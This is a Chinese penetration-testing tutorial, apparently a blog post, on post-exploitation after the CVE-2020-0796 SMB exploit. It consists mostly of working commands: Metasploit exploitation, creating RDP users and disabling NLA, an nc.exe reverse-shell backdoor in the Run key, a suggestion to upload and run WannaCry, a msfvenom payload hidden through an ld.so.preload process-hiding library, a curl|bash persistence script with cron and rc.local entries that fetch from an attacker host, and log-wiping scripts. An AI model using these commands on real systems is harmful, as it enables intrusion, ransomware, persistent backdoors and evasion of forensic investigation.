本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!
微信公众号:一个努力的学渣!!!
隐藏后门的意义:
获取到目标计算机的shell是短暂的不可持续的,在或者我们很容易被用户察觉,所以需要扩大战果来隐藏自己的行踪和保证我们的持久性访问实战-利用永恒之黑漏洞对win10进行渗透:
永恒之黑利用:
永恒之黑: CVE-2020-0796,系统底层漏洞,拿到的权限是最高权限(system),但不一定能做任何操作,比如UNC(用户操作控制)、防火墙Windows权限分三类:User(普通用户)、Administrator(超级管理员)、System(最高权限)
SMB:文件共享协议。大部分Windows系统默认都是开启的,用于在计算机间共享文件、打印机等
漏洞原因:SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,可直接远程攻击SMB服务端远程执行任意恶意代码,也可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端
影响版本:暂不支持主流的服务器版本,只影响Windows10 1903之后的各个32、64位版Windows,包括家用版、专业版、企业版、教育版。(只影响 SMBv3.1.1、1903和1909)
下载链接:ed2k://|file|cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso|5409650688|EBA2C4E4A7B30C55FA9C042DB7461675|/
查看靶机win10版本号(需要在影响的版本范围内):
查看系统补丁情况,需要未打KB4551762补丁:
靶机需要开启445端口:
利用:
nmap 192.168.137.101 -p 445 -->需要开启445端口
search cve-2020-0796 -->查找攻击模块
use 1 -->加载模块
show options -->查看参数
set RHOSTS 192.168.137.101 -->设置目标主机IP
show targets -->查看exploit target目标类型
payload:可选择其他payload,这里选择默认的
设置本机payload监听地址:(可不设置,因为目前就是本机IP)
set LHOST 192.168.137.100 -->设置本机payload监听地址
set LPORT 4444 -->设置本机payload监听端口
run -->执行
set DefangedMode false -->禁用参数
exploit -->执行
解决办法:将extermal.zip上传到kali并解压到/usr/share/metasploit-framework/目录
unzip external.zip -d /usr/share/metasploit-framework/
run -->再次运行
getuid -->查看用户权限
background -->退出会话并将会话保存到后台
sessions -->查看连接
总结使用 metasploit 攻击的步骤:
1、查找 CVE 公布的漏洞
2、查找对应的 exploit 模块
3、配置模块参数
4、添加 payload后门
5、执行 exploit 开始攻击
创建新用户来远程连接win10桌面:
RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称"本地电脑")连上提供微软终端机服务的电脑(服务器端或称"远程电脑")post/windows/manage/enable_rdp 模块可以帮我们启动目标主机的 rdp 服务,并且可以帮我们自动创建 rdp 用户,另外还可以帮我们把目标主机的 rdp 端口映射到本地
use post/windows/manage/enable_rdp -->加载模块,post为后渗透模块,此模块不能利用家庭版,因为家庭版没有远程桌面
创建 rdp 用户:
set ENABLE False -->关闭RDP,默认开启
set FORWAED true -->开启转发(映射),如LPORT设置为3389,代表把目标端口的3389映射到本机的3389端口上
set username rdp –>创建 rdp 用户:
set password 123456 –>创建 rdp 密码:
set session 2 -->指定 sessionID
run
验证:
nmap 192.168.137.101 -p 3389
netstat -anpt|grep 4445
win7:可直接进行远程连接
win10 :不能直接远程连接,需要查看 win10 是否开启了“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”也就是网络级身份验证(Network Level Authentication,缩写 NLA,亦有称网络层认证),如果开启了,使用 Kali 是无法远程连接的。
通过查询目标机注册表来确定是否开启了 NLA:
sessions -->查看会话
sessions -i 2 -->进入之前的会话
reg queryval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v SecurityLayer -->带空格的需要用双引号括起来
reg queryval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v UserAuthentication
meterpreter reg 指令参数:
reg -h # 查看帮助
-k #注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
根据查询结果 SecurityLayer 和 UserAuthentication 的值,可以知道目标机开启了 NLA。
关闭 NLA,通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0:
reg setval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0
reg setval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0
在 Kali 系统上,按下 Ctrl+shift+t 新建终端窗口,或点击终端按钮开启一个终端:
rdesktop 192.168.137.101 -->进行远程桌面连接
注意如果 win7 主机当前管理员用户正在使用会将管理员用户桌面锁定
我们回到 Win10 查看提示信息,rdp 要连接到当前计算机
30 秒之后成功登陆远程桌面
收集目标主机用户信息:
run post/windows/gather/enum_logged_on_users -->post:后渗透,gather:信息收集getuid -->查看权限
execute -f cale -->计算器
windows没有弹出计算器,原因是shell是system权限,而登录用户是administrator用户
需要进行进程迁移(ps命令查看进程):
migrate 4364
getuid
execute -f cale
edit 1.txt -->编辑记事本
开启后门维持权限访问:
通过 CVE-2020-0796 永恒之黑获取到的 shell 是短暂不可持续的,如果一旦目标修复了此漏洞,就不能再利用这个漏洞拿到 shell,我们可以植入后门维持权限访问。下面我们配置一个后门程序,修改注册表,需要重启才能生效
后门自动运行的方式:开机自启动、服务自启动、计划任务
说明:
由于这里没有对后门做免杀,Windows Defender 会拦截,可以在安全中心设置排除项,将后门上传到排除目录中,就不会被 Windows Defender 拦截。
在 win10 虚拟机中设置 Windows Defender 排除目录:
upload /usr/share/windows-binaries/nc.exe C:\windows\system32 -->上传nc到目标机
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe’ -->注册表添加启动项执行 nc 反弹 shell 命令,443端口只要不存在就可以
nc 参数解释:
L 用户退出后重新进行端口侦听
d 后台运行
p 指定端口
-e 连接后执行的程序
shell -->进入shell
chcp 65001 -->修改编码(因为Windows和Linux的编码不一定,所以会导致乱码)
netsh firewall show state -->查看防火墙
netsh firewall set opmode disable -->关闭防火墙(关闭防火墙目标机会有提示,容易被发现,不可取)
netsh firewall set opmode enable -->开启防火墙
netsh advfirewall firewall add rule name=“any” protocol=TCP dir=in localport=443 action=allow -->定义入站规则(in:入站,out:出站),防火墙允许 443 端口访问网络,否则开机的时候需要用户点击允许访问网络才可以成功执行(name建议设置设置隐蔽些,跟目前已有的策略建议基本相似,貌似不支持中文)
之后等待目标机重启
因为做实验,所以这里手动重启
需要用户进入系统后,后门程序才会运行,在这个界面后门程序还没有运行。
查看后门:netstat -an|findstr “443”
在 Kali 新建一个终端使用 nc 连接后门。
nc -v 192.168.137.101 443
MSF 控制台连接方法:connect 192.168.137.101 443
ctrl+c:退出连接
扩展:我前面可以上传 nc 程序,大家也可以上传勒索病毒。大体过程如下:
1、上传勒索文件至 C 盘根目录下,为了隐蔽可以传至更隐蔽目录:upload wannacry.exe c:</font>
2、执行勒索可执行文件即可:execute -f c:\wannacry.exe
至此,勒索成功…………
实战-Linux无文件木马程序:
普通木马:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.137.100 LPORT=4445 -b "\x00" -f elf -o /var/www/html/linux -->生成木马systemctl restart apache2 -->重启 apache2
配置侦听:
msfdb run
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.137.100
set lport 4445
run
curl http://192.168.137.100/linux -o linux -->下载 payload
chmod +x linux -->添加执行权限
./linux & -->后台运行 payload
ps aux|grep linux -->系统中存在linux进程
kill -9 7128 -->杀掉进程,连接就会断开
隐藏进程名:
LD_PRELOAD 是Linux系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库应用程序在通过系统接口调用内核时会预先加载动态链接库,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载
这个库里面主要包括两个内容:LD_PRELOAD和/etc/ld.so.preload
LD_PRELOAD:用于预加载环境变量
/etc/ld.so.preload:用于预加载配置文件
默认情况下,LD_PRELOAD和/etc/ld.so.preload没有任何配置
动态编译:无论程序依赖不依赖动态链接库,都会加载LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载
静态编译:不动态加载系统库文件,直接将程序所需要的各种文件全部集中到该软件平台中,这样就可以解决系统库文件被劫持,中了rookit等导致连接、网络等被隐藏的情况,常用的工具如busybox
动态链接库:动态库在编译时并不会被拷贝到目标程序中,目标程序中只会存储指向动态库的引用。等到程序运行时,动态库才会被真正加载进来。动态库的优点是,不需要拷贝到目标程序中,不会影响目标程序的体积,而且同一份库可以被多个程序使用(因为这个原因,动态库也被称作共享库)。同时,编译时才载入的特性,也可以让我们随时对库进行替换,而不需要重新编译代码。动态库带来的问题主要是,动态载入会带来一部分性能损失,使用动态库也会使得程序依赖于外部环境。如果环境缺少动态库或者库的版本不正确,就会导致程序无法运行
静态库:编译的时候会被直接拷贝一份,复制到目标程序里,这段代码在目标程序里就不会再改变了。静态库的好处很明显,编译完成之后,库文件实际上就没有作用了。目标程序没有外部依赖,直接就可以运行。当然其缺点也很明显,就是会使用目标程序的体积增大
动态库文件会产生库劫持,静态库不会
三种利用方式:
1.更改LD_PRELOAD环境变量,加载恶意库文件
2./etc/ld.so.preload加载恶意的库文件
3.更改默认的库文件/etc/ld.so.preload为其他库文件
通过/etc/ld.so.preload 加载恶意的库文件来演示效果。
首先准备一个恶意的库文件,然后配置到/etc/ld.so.preload 文件中。
上传隐藏进程的库文件源码到 Centos7.6:processhider.c 实现了隐藏进程的功能
vim processhider.c
如果需要隐藏多个进程名则使用 | 进行分隔。例如:linux|linux-root
yum group install “Development Tools” -y -->安装开发环境
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl -->将源文件编译成库文件libc2.28.so
mv libc2.28.so /usr/local/lib/ -f 将文件移动到系统中专门存放库文件的目录
echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload -->将恶意的库文件路径写入/etc/ld.so.preload 配置文件中,这样执行程序的时候系统会自动调用我们的恶意代码并执行
run -->Kali重新监听
./linux & -->再次运行
ps aux|grep linux
发现Linux进程已被隐藏
如何恢复?
echo > /etc/ld.so.preload -->清空配置文件
rm -rf /usr/local/lib/libc2.28.so -->删除恶意的库文件
ps -aux|grep linux -->查看进程
发现可以看到linux进程了,之后杀掉进程就可以了
kill -9 19595
实战-使用脚本来进行自动创建后门:
配置脚本程序:
Kali 中切换到/var/www/html 目录,上传隐藏进程的库文件源码 processhider.cKali新建脚本文件:linux.sh
#!/bin/bash
#判断是否为 root 用户,非 root 用户不执行安装操作。
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
else
#检查是否已经安装库文件劫持。如果未安装则进行安装。
if [ `grep libc2.28 /etc/ld.so.preload` ]
then echo "hideproc already done!!"
else
#安装开发环境,兼容多个版本的 linux,比如 kali 和 centos 都支持。
apt-get update -y
apt-get install build-essential -y
yum check-update
yum install build-essential wget -y
dnf groupinstall "Development Tools" -y
yum group install "Development Tools" -y
#下载 processhider.c 源代码(从Kali中下载,下载到那个目录可自定义)
curl http://192.168.137.100/processhider.c -o processhider.c
#编译成 so 文件
gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
#移动到库文件目录/usr/local/lib/
mv libc2.28.so /usr/local/lib/ -f
#检查 libc2.28 关键词是否在/etc/ld.so.preload 中,如果没有则写入 libc2.28.so 文件路径到配置文件。
grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
#删除源代码
rm -f processhider.c
#执行 ls 命令,结果输出到 tmp 目录下,.1为隐藏文件
ls >/tmp/.1 2>&1
#检查系统命令是否执行出现加载错误,也就是 so 文件无法在系统上正常运行。
#错误信息:ERROR: ld.so: object '/usr/local/lib/libc2.28.so' from /etc/ld.so.preload cannot be preloaded: ignored.
#如果存在错误信息直接清空/etc/ld.so.preload 文件
grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
fi
fi
sleep 1
#通过 curl 命令或 wget 命令下载 payload 到/tmp 目录
curl -fsSL http://192.168.137.100/linux -o /tmp/linux || wget -q http://192.168.137.100/linux -O /tmp/linux
ls /tmp/linux
#添加执行权限
chmod +x /tmp/linux
#后台执行
nohup /tmp/linux &
#sleep 5 秒再删除文件,删除太快可能导致 payload 还没有运行起来就被删除了。
sleep 5
#删除源文件
rm -rf /tmp/linux
保存退出即可,脚本文件不需要添加执行权限
2>&1:将标准错误重定向到标准输出。这里标准输出已经重定向到了/dev/null。那么标准错误也会输出到/dev/null。/dev/null可以看作"黑洞",等价于一个只写文件,所有写入她的内容都会永远丢失,而尝试从它那儿读取内容则什么也读取不到
我们回到 MSF 控制台进行测试
首先我们先清空后台任务和前面已经建立的 session
jobs -K -->清除所有的后台任务
sessions -K -->清除所有的后台链接
run -->运行
我们到 centos 上执行一下脚本,这里教大家一个高级的执行技巧
bash <(curl -s -L http://192.168.137.100/linux.sh)) >> /dev/null 2>&1
说明:
bash <():表示将括号中的内容通过 bash 来执行
curl -s -L:curl 是一个利用 URL 语法在命令行下进行文件传输的工具
-s --silent:表示静默模式不输出任何内容
-L:跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执行。这样好处是:本地不会保存任何文件。
/dev/null 2>&1:不输出任何信息
配置开机自启动:
把命令添加到开机启动项提示:一般黑客进来都会在开机启动项里加点东西
echo " bash <(curl -s -L http://192.168.137.100/linux.sh)) >> /dev/null 2>&1" >> /etc/rc.d/rc.local -->添加可执行权限,部分 centos 操作系统 rc.local 文件没有执行权限需要手动添加
chmod +x /etc/rc.d/rc.local
之后重启centos系统:reboot
后期可能需要想办法隐藏进程
配置计划任务:
系统级别计划任务: /etc/crontabSHELL=/bin/bash #指定操作系统使用哪个 shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径
MAILTO=root #将执行任务的信息通过邮件发送给 xx 用户
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
0 */1 * * * root bash <(curl -s -L http://192.168.137.100/linux.sh) >> /dev/null 2>&1
系统日志清理:
仅本地清理,如果目标服务存在日志服务器的话,所有日志还会被保留。这里仅清理系统相关日志,如果访问了某些服务,比如说通过 apache 服务获得一个 shell,你还需要清理 apache 服务的访问日志Windows日志清理:
Win+R 运行: eventvwr正常的远程访问在 windows 的时间查看器中可以看到相关记录
clearev -->清除日志
删除系统日志目录下的一些日志文件:
shell
del %WINDIR%*.log /a/s/q/f
Linux日志清理:
Linux 可能根据发行版本不同,日志文件名称也有所不同。所以具体清除需要大家先看一下目标操作系统。清理历史命令:history -c
使系统不再保存历史命令,默认保存1000条:
vi /etc/profile,找到 HISTSIZE 这个值,修改为 0
last -->查看登录日志
lastb -->查了登录失败的日志
删除访问日志:
- 删除登录失败记录:echo > /var/log/btmp
2.删除登录成功记录:echo > /var/log/wtmp (此时执行 last 命令就会发现没有记录)
3.删除日志记录:echo > /var/log/secure
汇总脚本:clog.sh
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c
执行脚本,当前bash环境执行:source clog.sh
执行时注意文件是否有执行权限。而且删除日志一般只有 root 权限才可以